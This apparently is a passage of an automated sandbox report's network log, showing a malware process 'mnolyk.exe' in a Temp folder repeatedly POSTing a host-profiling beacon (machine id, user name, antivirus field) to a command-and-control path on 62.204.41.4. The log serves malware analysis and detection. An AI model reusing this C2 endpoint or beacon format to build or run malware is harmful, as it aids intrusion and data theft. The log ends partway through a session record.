Feb 6, 2023 18:38:48.132057905 CET	1093	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
627	192.168.2.7	50356	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:48.308768034 CET	1094	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:48.374762058 CET	1094	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
628	192.168.2.7	50357	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:48.553890944 CET	1095	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:48.617072105 CET	1095	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
629	192.168.2.7	50358	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:48.804090977 CET	1096	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:48.866875887 CET	1096	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.7	49788	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:12.897780895 CET	501	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:12.961004972 CET	502	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
630	192.168.2.7	50359	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:49.036581039 CET	1097	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:49.107068062 CET	1097	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
631	192.168.2.7	50360	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:49.288881063 CET	1098	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:49.354939938 CET	1098	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
632	192.168.2.7	50361	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:49.540296078 CET	1099	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:49.603307009 CET	1099	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
633	192.168.2.7	50362	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:49.786550999 CET	1100	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:49.850887060 CET	1100	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
634	192.168.2.7	50363	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:50.019718885 CET	1101	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:50.084964991 CET	1101	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
635	192.168.2.7	50364	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:50.253164053 CET	1102	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:50.316068888 CET	1102	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
636	192.168.2.7	50365	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:50.493705034 CET	1103	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:50.557642937 CET	1103	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
637	192.168.2.7	50366	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:50.739823103 CET	1104	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:50.806164980 CET	1104	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.7	49789	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:13.130119085 CET	502	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:13.194447041 CET	503	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.7	49790	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:13.365591049 CET	503	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:13.429371119 CET	504	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.7	49791	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:13.602771044 CET	504	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:13.666631937 CET	505	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.7	49792	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:13.832897902 CET	505	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:13.896177053 CET	506	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.7	49793	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:14.067336082 CET	506	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:14.132473946 CET	507	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.7	49794	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:14.301275015 CET	507	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:14.363877058 CET	508	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49731	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:35:58.287698030 CET	438	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:35:58.349608898 CET	439	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.7	49795	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:14.536822081 CET	508	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:14.600203991 CET	509	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.7	49796	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:14.772958994 CET	509	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:14.838946104 CET	510	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.7	49797	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
